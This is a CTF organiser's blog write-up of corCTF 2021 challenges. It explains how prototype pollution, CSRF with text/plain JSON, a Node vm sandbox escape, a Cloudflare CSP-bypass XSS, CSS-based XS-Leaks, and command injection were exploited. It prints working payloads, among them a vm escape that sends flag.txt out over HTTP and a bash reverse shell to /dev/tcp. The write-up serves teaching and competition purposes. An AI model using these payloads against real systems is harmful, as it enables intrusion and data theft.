corCTF 2021 Challenges

Sun Aug 22 2021

corCTF 2021

Hey everyone! This weekend, my team, the Crusaders of Rust hosted our first CTF. It was a great success, and we had a lot of incredibly smart players compete for some good prizes. I'm really thankful to all the players, and I'm really glad all of my challenges got solved and that basically everyone seemed to really enjoy them (although I heard many complaints about the difficulty 😉). Here, I'll be describing the solution to all of the challenges I made. I wrote 10 out of the 46 challenges for the CTF (although discount 3 for the sanity check, unsolvable shell, and the survey) and also set up and managed the infra with EhhThing.

Special thanks to all the other organizers for making great challenges, my friends EhhThing and Drakon for helping write some web challenges with me and answer questions/DMs, Ginkoid from another team I'm on, DiceGang, for helping with the infra and questions I had, and for all the players who played and enjoyed our CTF!

We had a total of 1309 registered teams, with a total of 3339 flag submissions and 904 scoring teams. 7 challenges (3 web, 3 rev, 1 pwn) had only 1 solve. The 2 kernel pwns were the only two unsolved challenges.

Check out my friend Larry's (EhhThing) blog here if you want to see the writeups to his challenges.

Also, follow me on Twitter here :^)



110 solves

buyme was a fairly easy challenge. Reading the source code, you'd find this part in the source code of the buy API route:"/buy", requiresLogin, async (req, res) => { if(!req.body.flag) { return res.redirect("/flags?error=" + encodeURIComponent("Missing flag to buy")); } try { db.buyFlag({ user: req.user, ...req.body }); } catch(err) { return res.redirect("/flags?error=" + encodeURIComponent(err.message)); } res.redirect("/?message=" + encodeURIComponent("Flag bought successfully")); });

What is db.buyFlag({ user: req.user, ...req.body }); ? Well, if you don't know JavaScript, this is object destructuring. For example: { a: 1, b: 2, ...{c: 3} } creates the object {a: 1, b: 2, c: 3} - it unpacks values from the object.

And looking at the db.buyFlag method, we see:

const buyFlag = ({ flag, user }) => { if(!flags.has(flag)) { throw new Error("Unknown flag"); } if( < flags.get(flag).price) { throw new Error("Not enough money"); } -= flags.get(flag).price; user.flags.push(flag); users.set(user.user, user); };

It checks whether you have enough money using the user property provided! So if you understand destructuring, the vulnerability is simple - when sending a request to buy the flag, you can also overwrite the user object it will check for money using destructuring.

So, you need to send a buy POST request that contains a fake user object that is similar to the one in the backend. Since you need to send an object over, you should use JSON to send it since the server supports it. Here's my solution:

fetch("", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ flag: "corCTF", user: { user: "strellsquad", flags: [] } }) });

(money not required since undefined < 1e+300 is false 😉)


64 solves

This challenge was yoinked inspired by a blog post I read a couple weeks ago, here, which talked about a JSON parsing vulnerability.

The linked page just goes to a PHP site which shows the source, which is this:

<?php include "secret.php"; // function isJSON($string) { json_decode($string); return json_last_error() === JSON_ERROR_NONE; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) { // $body = file_get_contents('php://input'); if(isJSON($body) && is_object(json_decode($body))) { $json = json_decode($body, true); if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) { echo "<script>\n"; echo " let url = '" . htmlspecialchars($json["url"]) . "';\n"; echo " navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n"; echo "</script>\n"; } else { echo "nope :)"; } } else { echo "not json bro"; } } else { echo "ur not admin!!!"; } } else { show_source(__FILE__); } ?>

Basically, the admin has a secret cookie on his account, and if you can satisfy all of the checks (valid JSON, has a special json key-value), the site will output JavaScript on the page to send the flag wherever you want.

The challenge is, of course, trying to get the admin to send a request with both the correct cookie and JSON payload.

We can deal with these challenges one at a time. For trying to send a request with the correct cookie, I know a lot of competitors tried something like sending a fetch / AJAX request from a cross-site page. Unfortunately this doesn't work because of SameSite=Lax by default.

If you don't know anything about SameSite, you can read about it here. Basically, Lax cookies mean that they only get sent on navigations.

So how do we send the cookie then? Well, if they only get sent on navigations, one idea that might come up is to send them using an HTML <form> tag, since that will navigate the page too! Unfortunately, this doesn't bypass SameSite Lax. But...

There's some weird behavior with default cookies set without any SameSite info on Chrome - Lax+POST. Lax+POST is a temporary solution to not apply the SameSite=Lax default when the cookie is less that 2 minutes old on POST requests. So actually, using an HTML form to send the cookie with the request does work!

Now for the second part - the JSON payload. Unfortunately, since we're using an HTML <form> tag, we can't send JSON payloads. We are restricted to using <input> tags to send data over, and they send post that normally looks like key=value.

But wait a second, if we do something like key: {"test": "a, value: bc"}, then when the form sends it, it will look like:

{"test": "a=bc"}, which is valid JSON! Sadly though, testing this out reveals that it gets sent as %7B%22test%22%3A%20%22a=bc%22%7D, which needless to say is not valid JSON. But, reading through what is possible with forms, you might come across the enctype attribute, which allows you to change HTML forms to send data as text/plain and not encode it!

Here's my solution:

<html> <body> <form id="form" method="post" action="" enctype="text/plain"> <input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'> </form> <script> form.submit(); </script> </body> </html>

yep yep yep

The vulnerability in this challenge is that normal JSON parsing in PHP (at least, from the stackoverflow articles I read), doesn't check the Content-Type header. But really, imagine using PHP anyway.


46 solves

readme was a simple site that decluttered URLs you sent by converting them to "reader" mode. It did this by using the JSDOM and mozilla/readability libraries, so you would have to find a vulnerability in one of these libraries.

Since it wasn't an XSS challenge, and readability just seemed like it was parsing JSDOM text, it should seem likely that the vulnerability is in JSDOM.

Going to JSDOM's GitHub page here, we find a section about executing scripts:

Executing scripts jsdom's most powerful ability is that it can execute scripts inside the jsdom. These scripts can modify the content of the page and access all the web platform APIs jsdom implements.

However, this is also highly dangerous when dealing with untrusted content. The jsdom sandbox is not foolproof, and code running inside the DOM's <script>s can, if it tries hard enough, get access to the Node.js environment, and thus to your machine. As such, the ability to execute scripts embedded in the HTML is disabled by default:

To enable executing scripts inside the page, you can use the runScripts: "dangerously" option

Sadly, scripts don't execute inside the page since runScripts is not set to dangerously, but...

On the helper function to load the next page, you'll see an eval statement!

const loadNextPage = async (dom, socket) => { let targets = [ ...Array.from(dom.window.document.querySelectorAll("a")), ...Array.from(dom.window.document.querySelectorAll("button")) ]; targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next")); if(targets.length == 0) return; let target = targets[targets.length - 1]; if(target.tagName === "A") { let newDom = await refetch(socket, target.href); return newDom; } else if(target.tagName === "BUTTON") { dom.window.eval(target.getAttribute("onclick")); return dom; } return; };

So, if there's a button with onclick attribute that has either text or a class name containing "next", the onclick code will be evaluated in the JSDOM sandbox.

Now, what sandbox does JSDOM use? NodeJS's vm module. If you've ever used it before, you should know that it's not secure at all. From here, you can just find a vm escape payload and solve the challenge.

Here's my solution:

<!DOCTYPE html> <html> <body> <h1>pls summarize this</h1> <h1>pls summarize this</h1> <h1>pls summarize this</h1> <h1>pls summarize this</h1> <h1>pls summarize this</h1> <button class="next" onclick="const ForeignFunction = this.constructor.constructor;const process = ForeignFunction('return process')(); const require = process.mainModule.require; require('http').get('' + require('fs').readFileSync('flag.txt'));">next</button> </body> </html>


2 solves

blogme was a more "traditional" (i guess) web challenge compared to the other ones. blogme was a blog (shocker!) where you could create blog posts, comment on other people's blog post, and also upload images to set as your profile picture.

Checking the server code, you find that HTML is escaped everywhere except for your post text, which makes XSS very easy. Just make a post that contains a script tag! Except...

The CSP is very restrictive.

object-src 'none'; script-src 'self' 'unsafe-eval';

Weirdly, there's an unsafe-eval for some reason, but this looks very hard to bypass. Most players probably got stuck here.

On the front page, there are three posts. The first two mean nothing, but the third one has some weird text:

wow, a lot of people have signed up and posted stuff! my bandwith was starting to get a little high, but Cloudflare (wink) (NOT SPONSORED) saved the day :D

Hm, what's with this reference to Cloudflare? Most of the other challenges didn't use Cloudflare, so why is this one using it, and why was it needed to be mentioned? If you're anything like me, your mind might immediately come to some of the extra features Cloudflare adds to pages automatically, like email protection.

If you have an email on a page, Cloudflare will censor it with a custom JS script that they inject onto your page to prevent bots from spamming you. This might lead you to the idea that there are scripts that Cloudflare adds on your page that might give you full XSS. Since Cloudflare adds them to the site, they might be allowed under the CSP!

Googling "cloudflare csp bypass unsafe-eval", you might find this tweet by the legend himself Masato Kinugawa. It's perfect! It's an HTML snippet that bypasses the CSP on Cloudflare enabled domains that have unsafe-eval. But it's too old. It's patched. But doing some MORE research, you might find that he has a new payload on this tweet, which actually works! Except now it's too long.

Post lengths are restricted to max 300 characters. Masato's payload is 508 characters. Obviously it could be golfed, but down 200 characters? No shot.

But there's a link that goes to ANOTHER CSP bypass by @cgvwzq, here. While one is 400, golfing it down is absolutely possible. It does require knowledge of DOM clobbering, however.

Original payload:

<!-- clobber --> <form id=_cf_translation> <img id=lang-selector name=blobs> <!-- source --> <output name=locale><script>alert(1)</script></output> </form> <!-- sink --> <div data-translate="value"></div> <!-- scripts available in all cloduflare domains --> <script nonce="foo" src="/cdn-cgi/scripts/zepto.min.js"></script> <script nonce="foo" src="/cdn-cgi/scripts/cf.common.js"></script> <!-- need to call translate() twice --> <script nonce="foo" src="/cdn-cgi/scripts/cf.common.js"></script>


<form id=_cf_translation><img id=lang-selector name=blobs><output id=locale><script>eval(name)</script></output></form><a data-translate=value></a><script src=/cdn-cgi/scripts/zepto.min.js></script><script src=/cdn-cgi/scripts/cf.common.js></script><script src=/cdn-cgi/scripts/cf.common.js></script>

Down to EXACTLY 300 characters. Perfect! To be able to run multiple payloads, I change the alert(1) in the original payload to eval(name), since we can change name on our page and it will stay on future pages. We can use this to store payloads.

So, we have a two page setup. One page has a meta refresh tag, a <meta> tag that redirects people to another page. This page sets to our payload, then redirects them back to another post, this one holding our golfed eval payload.

So now we should have JS execution on the page! Just, where's the flag..?

Looking through the source code, we see that the flag is placed commented onto a post everytime we submit a post to the admin. But, the server automatically redacts the flag, so it's not even stored in the database.

The admin bot code is also provided, and we can see that it navigates to /api/comment after viewing our post, and then placing the flag in a comment. There's no XSS on /api/comment. How can we get anything to persist on that page?

The answer: service workers. From this page:

A service worker is a script that your browser runs in the background, separate from a web page, opening the door to features that don't need a web page or user interaction.

How service workers work is if there's a JS file hosted on a domain (served with mime-type application/javascript), a service worker can be installed on any of the pages in the folders on the same level or below.

So can we do this? Normally this cannot be done since it checks the mimetype is an image when we upload, but the admin can do it! How about the folder checks?

Well, the file is on /api/file?id=file-id, the comment page is on /api/comment. Both are at the folder /api/, so an uploaded JavaScript file can be a service worker on the comment page!

A service worker can do many things, from intercept requests to replace HTML on the page they're scoped on, but we'll just use them to replace the HTML on the /api/comment page.

So the full plan is, with our JS execution, upload a JS file containing service worker code. Get the ID, then use it to install it on the /api/comment page. Replace the HTML on the /api/comment page with a form endpoint that goes to somewhere we log. Then we get the flag!

My solution code is here.


2 solves

saasme was the challenge I thought was the hardest, but actually ended up getting two solves (both unintended). The intended solution was a long and complex chain, starting from DNS rebinding and breaking puppeteer with the Chrome DevTools Protocol (CDP) to get a reverse shell, then using CDP again to place a breakpoint and read the flag.

I cowrote this challenge with EhhThing on my team, and the writeup he made is here on his blog if you want to read it!


1 solve

styleme was probably my favorite web challenge of the CTF. It was a Chrome extension challenge, where this extension "styleme" allowed you to install custom "stylescripts", allowing you to apply custom CSS to any pages you wanted.

The extension was here on the Chrome Web Store, and you could install it on your browser.

The site allows people to register and create custom stylescripts of their own. The goal is to find a hidden stylescript on the website created by the admin, where the flag is in the custom CSS added.

Sadly, only the admin who can view the site on localhost can see the hidden stylescripts. But, there is a feature to test out the custom stylescripts on the admin's browser! So the plan is simple - somehow use the custom extension to search for and retrieve the hidden stylescript on the site.

A lot of teams got stuck here, trying out various payloads with CSS injection. Sadly, the site has a fairly strict CSP, basically not allowing any outbound connections. The site also has a search function so you can search for the names and IDs of stylescripts.

This should hopefully point you to some sort of XS-Leak attack, where you search for the flag stylescript's id character by character, and do some sort of XS-Leak attack to leak whether the search returned results or not.

I think the hints should point a good picture of the target attack.

hint 1: wow, that's such a weird way to parse stylescripts, huh?

hint 2: this site is #amazing and #great

hint 3: why don't you guys #focus more on this challenge?

Hint 2 and 3 hopefully should point you to one of the common XS-Leak attacks, ID Attribute detection.

From this page on the XS-Leaks wiki:

The id attribute is widely used to identify HTML elements. Unfortunately, cross-origin websites can determine whether a given id is set anywhere on a page by leveraging the focus event and URL fragments. If is loaded, the browser attempts to scroll to the element with id="bar". This can be detected cross-origin by loading in an iframe; if there is an element with id="bar", the focus event fires. The blur event can also be used for the same purpose.

Well, this doesn't immediately look helpful - no ID attributes on the search page change between correct and incorrect searches. But we have CSS injection! Is there a way we can use that somehow? There IS a #back element on the search page...

If you look at the source code between searches that return results and searches that don't, you'll see that on positive searches, a div appears next to the #back button. On negative searches, an h5 tag appears next to the #back button.

If you know any CSS, you should know the existence of the adjacent sibling selector (+). With this selector, we can select one of these positive / negative cases (div + #back) or (h5 + #back), and do something with it. Well, the hint talks about an id attribute selector attack, so what happens if we apply display: none to one of them?

Testing it out, you should see that the ID fragment doesn't scroll to the page if the selector is hidden! So now, through CSS injection, we can create a detectable XS-Leak between the positive & negative search result.

Now, how do we setup this attack. Sadly it's not as simple as creating the stylescript, since we have 1 problem: we can only have 1 url the stylescript applies to.

How the extension (and by extension admin bot [pun intended]) works is that it will install a stylescript you link it to, and will navigate to the URL if it is a valid one. That's the only way to navigate the bot off-site. So, if we need to put our XS-Leaks site as the URL for the stylescript, how do we get it to apply to the site's search page as well?

Well luckily, one of the features used by some stylescripts (namely the flag one) is the "global" property! Stylescripts can have global set to true, so they apply on every page. So, can we inject this property? Well, almost...

Here's the code for the creation of new stylescripts."/create", requiresLogin, async (req, res) => { let { title, css, url, hidden } = req.body; if(!title || !css || !url) { req.session.error = "Missing details to create a new style."; return res.redirect("/create"); } try { new URL(url); } catch(e) { req.session.error = "Invalid URL."; return res.redirect("/create"); } if(!/^[a-zA-Z0-9 ]*$/.test(title)) { req.session.error = "Invalid title."; return res.redirect("/create"); } /* stylescript validation */ let blacklist = ["--styleme stylescript v1.0--", "---------------", "global"]; if(blacklist.some(b => title.includes(b) || url.toLowerCase().includes(b) || css.includes(b))) { req.session.error = "Stylescript contains some invalid characters."; return res.redirect("/create"); } hidden = Boolean(hidden); try { let style = await Style.create({ title, url, css, hidden }); await style.setUser(req.user); await req.user.addStyle(style); = "New style created successfully!"; res.redirect("/"); } catch(err) { req.session.error = err.message; res.redirect("/create"); } });

As you can see, both the title and URL properties (which is the only places we can inject) have some heavy filters. The title is a no-go. But the URL just has to be a valid URL! We can smuggle newlines into this and add new properties to the stylescript... except that the property we want to add, "global", is in a blacklist.

That's where the first hint comes into play. The admin bot uses a very weird JSON parsing system to parse the config files (to be fair, I actually just copied the code from my CTF team's blog system 😉).

Looking at the code:

const stylescript = {}; stylescript.parse = async (content) => { let code = {}; if (!content.startsWith("--styleme stylescript v1.0--\n----")) { return; } let sections = content.split("\n---------------\n").filter(Boolean); let metadata = sections[1]; let css = sections[2] for (let line of metadata.split("\n").filter(Boolean)) { let split = line.split(":"); let prop = split[0].trim().toLowerCase(), data = split.slice(1).join(":").trim(); try { code[prop] = JSON.parse(data); } catch(err) { code[prop] = data; } } code.css = css.trim(); code.hash = await sha1(`${code.title}|${code.url}|${code.css}`); code.original = content; return code; };

This code has a prototype pollution vulnerability! If prop = "__proto__" and data = {"global": 1}, the prototype of this stylescript will be polluted, setting global to true. But we can't inject this since it contains global! However, since this is being parsed by JSON.parse, we can just use some unicode escaping to bypass the filter!

Inputting the URL ${URL}?\n__proto__: {"\u0067lobal": 1} through a POST request creates a global stylescript that redirects to our URL and applies to the search page. Perfect.

From here, we just need to implement our id fragment searching code. Then, you can bruteforce the flag style's id character by character. Solved!

I wrote a Express server for the solution that would keep track of the current id, and send the correct payload to test the next characters. My solution code is here.


1 solve

msgme was a website that allowed you to message people using WebSockets, and also do some fun commands like !8ball or !math.

You get the flag after running the command !flag and supplying the correct secret. You get the secret by running !secret if you are the admin and messaging it to the admin. It's an XSS challenge, so we can send the admin to any site we want.

So, we have to find someway to first leak the secret. Let's look at how the checks work:

const help = "...?"; const secret = require("crypto").randomBytes(64).toString("base64"); const run = (ws, args, data) => { if(ws.admin && === "admin") { data.msg += secret; return; } data.msg += "nope"; }; module.exports = { help, run, secret };

So ws.admin needs to be true, and needs to be "admin". How is ws.admin set?'/admin_login', async (req, res) => { let { password } = req.body; if(password && password === process.env.ADMIN_PASSWORD) { req.session.user = "admin"; req.session.admin = true; return res.json({ success: true }); } return res.json({ success: false }); });

Well, this seems secure. This is only accessible by the admin, so we can't do anything.

But still, can we force the admin to send the !secret message? Looking at how chat messages are done, maybe we can!"/send", requiresLogin, (req, res) => { let { to, msg } = req.body; if(!to || !msg) { return res.json({ success: false }); } ws.sendMessage(req.session.user, to, msg); return res.json({ success: true }); });

Now, if you remember the solve from phpme, you know that LAX+Post is a thing! So, we can send a request to /chat/send with any message we want, letting us send messages as admin. But still, we have to send it to admin, so that doesn't really help us.

Looking for other vulns, one thing seems weird: what's with the weird command handling setup?

const fs = require('fs'); let cmdList = [ "help", "roll", "secret", "8ball", "math", "coinflip", "flag" ]; let cmds = Object.create(null); const init = () => { for(let i = 0; i < cmdList.length; i++) { let name = cmdList[i]; let cmd = require(`./commands/${name}.js`); cmds[name] = cmd; } } const handle = (ws, data) => { let args = data.msg.split(" "); let cmd = args[0].slice(1); data.msg = `${ws.user}: `; let found = false; for(let name of Object.keys(cmds)) { if(cmd.includes(name)) { found = true; cmds[name].run(ws, args, data); } } if(found) { return data; } return false; }; module.exports = { cmds, init, handle };

It gets the first word in our message, and checks whether any of the command names match. Then it runs the command's handler method. If you look really closely at it, you'll realize that it actually allows multiple commands to run with one message!

For example, the message "!flag!secret!8ball" would run all of these. And something even more strange appears if we look at the handlers - they appear to append messages together! So, basing off the order in the list above, secret would run, then 8ball would run, and flag would run after, and they would chain their messages together. Wack.

But one of these commands is very special - !math. Let's look at the source code of it:

const help = "2+2=4-1=3 quick maffs"; const run = (ws, args, data) => { data.msg += args.slice(1).join(" "); data.type = "sandbox"; }; module.exports = { help, run };

Seems to just set the type to something. Let's look at where this type is used in the client JavaScript:

const newMessage = async (msg) => { // snip if(msg.type === "sandbox") { let code = msg.msg.split(":").slice(1).join(":"); msg.type = null; msg.msg = `${name}: ${await sandbox(code)}`; render(); return; } else { content.innerHTML = filter(msg.msg); } // snip };

Huh, so it seems to remove something from the message (the ":"), then runs our code in a sandbox. You would think this is to remove the name, since the message should start with that. But it actually doesn't remove the name, it removes the first :! So if our name has : inside, we could do something funky.

Let's look at the sandbox function then:

const sandbox = (code) => { return new Promise((resolve, reject) => { try { let iframe = document.createElement("iframe"); let token = (+new Date * Math.random()).toString(36).substring(0,6); iframe.src = "/sandbox"; iframe.sandbox = "allow-scripts"; = "none"; iframe.onload = () => { iframe.contentWindow.postMessage({ code, token }, "*"); } window.onmessage = (e) => { if( !== token) { return; } window.onmessage = null; resolve(; } setTimeout(() => iframe?.remove(), 1500); document.body.appendChild(iframe); } catch(err) { iframe?.remove(); resolve("Error"); } }); };

So it loads our code in an iframe, then sends along a unique token. Then it gets the response back, and if the token matches, it'll display the text. Let's look into /sandbox more:

<!DOCTYPE html> <html> <head> <title>msgme sandbox</title> </head> <body> <!-- simple sandbox for fast evaluation of math :) --> <script nonce="{{nonce}}"> let done = false; let token; let finish = () => { if(done) { return; } window.parent.postMessage({ token, res: window.result || "Error" }, "*"); done = true; }; try { window.addEventListener("message", (event) => { if (event.origin !== "{{site}}") { return; } token =; // apply nonce to bypass CSP let script = document.createElement("script"); script.nonce = "{{nonce}}"; script.innerHTML = "window.result = " +; document.body.appendChild(script); setTimeout(finish, 250); }, false); } catch(err) { finish(); } </script> </body> </html>

So it actually just runs our code. Testing this out by doing !math 5+5 and !math console.log(1), both work perfectly.

So we can easily run JavaScript on this sandbox domain, but sadly that doesn't actually help very much. The sandbox is under a strict CSP:

default-src 'none'; base-uri 'none'; script-src 'nonce-NONCE' 'unsafe-inline'; frame-ancestors 'self';

That basically leaves us with nothing. And the normal page has a strict CSP too:

default-src 'none'; base-uri 'none'; connect-src 'self'; frame-src 'self'; script-src 'nonce-NONCE' 'unsafe-inline'; style-src 'nonce-NONCE' 'sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=' 'sha256-5uZsN51mZNPiwsxlFtZveRchbCHcHkPoIjG7N2Y4rIU='; frame-ancestors 'none';

Since frame-src 'self';, we can't navigate the iframe anywhere. And since default-src 'none';, we can't open any links, images, etc.

And since the iframe is sandboxed, we can't open alerts or new tabs.

And since frame-ancestors is 'none', and X-Frame-Options is DENY, we can't iframe it and access the page like that.

And since Cross-Origin-Opener-Policy is sameorigin, opening the site from another page doesn't leave us with window.opener.

This seems like an impossible jail to escape.

Well, let's forget about this jail for a second. We have arbitrary JavaScript execution, but only with the code we supply. How does this help us in anyway? The answer is the bug we found from before, the command chaining!

If we chain commands together, we could possibly create some sort of payload that would use the admin's account to send the "!secret" message to the admin, recieving the secret, while also simultaneously placing it in a !math message so that JS execution happens with it. Let's see what gadgets we have.

The most useful gadgets are !roll and !8ball. Let's see how they work:

const help = "Rolls a number"; const run = (ws, args, data) => { let max = 100; if(args[1] && !isNaN(args[1])) { max = parseInt(args[1]); } data.msg += `You rolled: ${Math.floor(Math.random() * max + 1)}, ${ws.user}`; }; module.exports = { help, run };

!roll seems like it does nothing, but with the command chaining, we can set our name to be in our string. Since it runs first, anything we run after roll would have our username placed right before it.

const help = "Asks the mythical magic 8-ball a question"; const run = (ws, args, data) => { let question = args.slice(1).join(" "); if(!question.endsWith("?")) { question += "?"; } data.msg += question + " "; let responses = ['It is certain', 'It is decidedly so', 'Without a doubt', 'Yes – definitely', 'You may rely on it', 'As I see it, yes', 'Most likely', 'Outlook good', 'Signs point to yes', 'Reply hazy', 'try again', 'Ask again later', 'Better not tell you now', 'Cannot predict now', 'Concentrate and ask again', 'Dont count on it', 'My reply is no', 'My sources say no', 'Outlook not so good', 'Very doubtful']; data.msg += responses[Math.floor(Math.random() * responses.length)]; }; module.exports = { help, run };

!8ball now looks powerful too, it basically appends our question to the end of the message, then a random response. Since it takes the args parameter, it takes the message before it is changed. This is useful for setting the end of our string.

Now remember the !secret method again? It just appends the secret to the message. And if you look at the order of how these three commands would run, roll -> secret -> 8ball, we can basically wrap the secret in some text! Then, if we add the !math command, it'll run it as JavaScript!

But wait, this doesn't seem right. If we have to login and change our name, then we will no longer be admin, right?

Let's look at the login code:'/login', async (req, res) => { let { name } = req.body; if(name) { if(!['admin', 'system'].includes(name) && !ws.getUser(name)) { req.session.user = name; return res.json({ success: true }); } } return res.json({ success: false }); });

While it does set our name correctly, it also doesn't disable our admin access! So we can log in the admin as another user and still keep our access for the !secret command!

We now have a way to run JavaScript with the secret, albeit a bit scuffed. Abusing this command chaining and the : bug, we can get arbitrary JavaScript execution with the secret. But we're still stuck in this jail, so what can we even do?

At this point, no one solved this challenge, and around ~10 hours left in the CTF, I released this hint:

HINT: this messaging service is great! i know the site uses websockets, but have you heard of this new Real Time Communication technology the browser supports? (also GCP blocks some ports lol)

Real Time Communication technology? WebRTC?

Indeed, there are two powerful CSP bypasses that I know of that avoid everything - DNS prefetch and WebRTC. Sadly, DNS prefetch doesn't work on the headless admin bot. But also, it would be a pain to split the message and encode it so it can work as a subdomain.

So, WebRTC it is. Instead of write it myself, I yoink borrow an exploit from another CTF challenge which used WebRTC, rce-auditor from BalsnCTF, which coincidentally also had 1 solve like this challenge!

Their exploit for rce-auditor can be found here.

Now crafting my exploit, I just simplify their code, then split it into two sections. I have my name act as the first section, then the end section will be the first argument so that !8ball picks it up. If done correctly, these two segments will wrap around the secret sent by the admin.

You do have to choose a different STUN server than the challenge because GCP blocks ports. Now for the exploit plan.

First, login as a new user, with a name as the first half of our payload.

Then, open the site in a new tab, appending the parameter ?user=<username> so that we can automatically see the message that gets sent and run the XSS payload.

Finally, send the message using a Lax+POST form submission.

If done correctly, the secret is be wrapped in our WebRTC code, exfiltrating the secret to our offsite server, bypassing CSP!

Now that we have the secret, we can get the flag! Almost...

Running !secret <secret> returns us with the message [REDACTED] because of this funny filter:

const filter = (msg) => { if(typeof msg !== "string") { msg = "[ERROR]"; } if(msg.toLowerCase().includes("corctf{")) { msg = "[REDACTED]"; // no flags for you!!!!!! } return msg; };

But if you've gotten this far, this part should only be a tiny distraction. Just open the page in devtools and run the command again - you'll see the WebSocket connection and the logs, and get the flag. Flag get!

My solution code is here.


203 solves

babyrev was the first rev challenge, and also the easiest. Opening up in Ghidra, you can start to reverse the binary. It's just a simple rot cipher, but the rotation on each character is dependent on the next prime of the character's index * 4. Then you just have to memfrob the check data (xor by 42), to get the real characters to be rotated. Here's my solution:

import string from Crypto.Util.number import isPrime def rot_n(c, n): if c.isalpha(): if c.isupper(): return string.ascii_uppercase[(string.ascii_uppercase.index(c) + n) % 26] else: return string.ascii_lowercase[(string.ascii_lowercase.index(c) + n) % 26] else: return c buff = "5f 40 5a 15 75 45 62 53 75 46 52 43 5f 75 50 52 75 5f 5c 4f".split(" ") buff = [int(c, 16) ^ 42 for c in buff] final = [] for i in range(len(buff)): p = i * 4 while not isPrime(p): p = p + 1 print(i, p, rot_n(chr(buff[i]), -p)) final.append(rot_n(chr(buff[i]), -p)) print("corctf{" + ''.join(final) + "}")


23 solves

flagbot was probably the coolest misc chall (imo). FlagBot was a Discord bot on our Discord server, and it sat in the #flagbot-voice channel, playing a YouTube video. The goal: find what YouTube URL it was playing.

But this wasn't an OSINT challenge, this was a real hacking challenge. You had to find the unlisted YouTube URL FlagBot was playing, and the flag would be in the description. Luckily, source was provided.

We can see the list of commands that are allowed using f!help, and here's how that's implemented:

if(cmd === "help") { let embed = newEmbed() .setDescription("List of commands:") .addField(`${PREFIX}help`, `Shows you this menu.`) .addField(`${PREFIX}ping`, `Shows the ping of the bot.`) .addField(`${PREFIX}coinflip`, `Flips a coin.`) .addField(`${PREFIX}8ball`, `Answers your questions.`) .addField(`${PREFIX}math`, `Evaluates a math expression. [OWNER ONLY]`) .addField(`${PREFIX}status`, `Checks whether a website is online. [OWNER ONLY]`) .addField(`${PREFIX}play`, `Play song from YouTube. [AUTHOR ONLY]`) .addField(`${PREFIX}loop`, `Loop song from YouTube. [AUTHOR ONLY]`) .addField(`${PREFIX}stop`, `Stop currently playing song. [AUTHOR ONLY]`); msg.reply(embed); }

There was a #bot-spam channel that players were allowed to play with the bot in, but the cool commands were restricted. Looking at the source code, we can see how the restrictions are implemented:

client.on('message', async (msg) => { if(msg.content.startsWith(PREFIX)) { let content = msg.content.slice(PREFIX.length); let args = content.split(" "); let cmd = args[0]; // must have "flagbot" role!!!! let isOwner = msg.guild && === "text" && msg.member.roles.cache.find(r => === /*"Server Booster*/ "flagbot"); // must be a bot author :) // Strellic FizzBuzz101 let isAuthor = ["140239296425754624", "480599846198312962"].includes(; // snip

So, we can only run f!math and f!status if we are owner, which means we must have the "flagbot" role in the guild. We can only run f!play, f!loop, or f!stop if we are author, which means either me or FizzBuzz101. Sadly, most players aren't me or Fizz, and no one except us has the "flagbot" role on the server, so are other people stuck as non-owner non-author plebs?

Well, no! Using Discord Developer Mode, we can grab the ID of the bot. Then we can take any bot invite URL, switch out the ID, and invite flagbot to our private Discord server!

With this, we can give ourselves the "flagbot" role, allowing us access to f!math and f!status.

f!math just did math using mathjs, and there was a comment saying it was not in scope. But f!status?

Here's the code:

else if(cmd === "status") { if(!isOwner) { return msg.reply("you are not the bot's owner!"); } fetch(API + "/check", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ url: args.slice(1).join(" ") }) }).then(r => r.text()).then(r => { return msg.reply(r); }) .catch(err => { return msg.reply(`there was an error checking for the website status!`); }); }

f!status works by sending the URL to the API server, then returning to the response (side note, halfway into the CTF, the response returning was disabled).

How does this API server work? Well, there are two Docker containers in a custom network, the discord container and the web container. The discord container obviously handles the bot, and the web container handles the checking of website status, and also the downloading of YouTube videos to convert to mp3 for the bot to play.

How does the website status check work? Looking at the source code, we see:"/check", (req, res) => { let url = req.body.url; if(!url || typeof url !== "string" || !url.startsWith("http")) { return res.end("invalid url!"); } exec(`curl -s --head --request GET "${url.replace(/"/g, '')}"`, {timeout: 1000}, (error, stdout, stderr) => { if(error || stderr || (!stdout.includes("200") && !stdout.includes("301"))) { return res.end(`the website is down!`); } return res.end(`the website is up!`); }); });

This snippet is vulnerable to command injection! If we inject backticks into our website, we can run any code we want in the web container! So, we run a command that gets us a reverse shell in the web container.

I ran a payload like this to get a bash reverse shell:

f!status`bash -c 'bash -i >& /dev/tcp/IP/6969 0>&1'`

Now, how do we get the song now that we have a shell in the container? There's API requests to /ytdl with the target YouTube ID coming from the discord container, but we are actually under heavy restrictions.

We can't kill the API server since it's the root process. We can't drop a binary on the server since the whole system is read-only. Python is deleted so we can't use that. And the web container completely resets every 5 minutes as well.

As far as I know, there were three solutions to get the flag:

  1. node debugger to place a breakpoint when flagbot receives the song

  2. place a tcpdump static binary somewhere in /dev where its not read-only

  3. inject shellcode into bash (hardest, also my intended lol)

First path: you can use node inspect to start the NodeJS debugger, and then debug the web API server, replacing the code or placing a breakpoint at /ytdl to get the YouTube ID!

But, this also had the effect of allowing people to change the results of f!status commands, and change what message would come back, which is why I ended up not showing the message from f!status. Also, someone apparently changed the code for /ytdl to point to Never Gonna Give You Up, getting a couple of people pretty good.

Second path: while the entire docker container is mounted as read-only, obviously the entire file-system isn't, or nothing would really work. Some players found that /dev/shm and some other folders in /dev were not read-only, and they used this to their advantage. They download a statically-linked tcpdump binary so it would run without requiring certain libraries. Then, they would just use it to record and dump the packets, getting the YouTube ID that way.

Third path: this was my solution, and I definitely knew there were easier ones. But, I liked this path so much I went straight for it and didn't search for an easier path like the first two.

I saw this tweet by David Buchanan @David3141593. It shows how to run shellcode directly from bash! Obviously, since we run bash, its memory cannot be read-only. And so, he showed an exploit on how to write directly into bash's memory to run arbitrary shellcode.

I had some trouble implementing it, but with the help of FizzBuzz101 on my team, we rewrote the payload.

Here was my final payload:

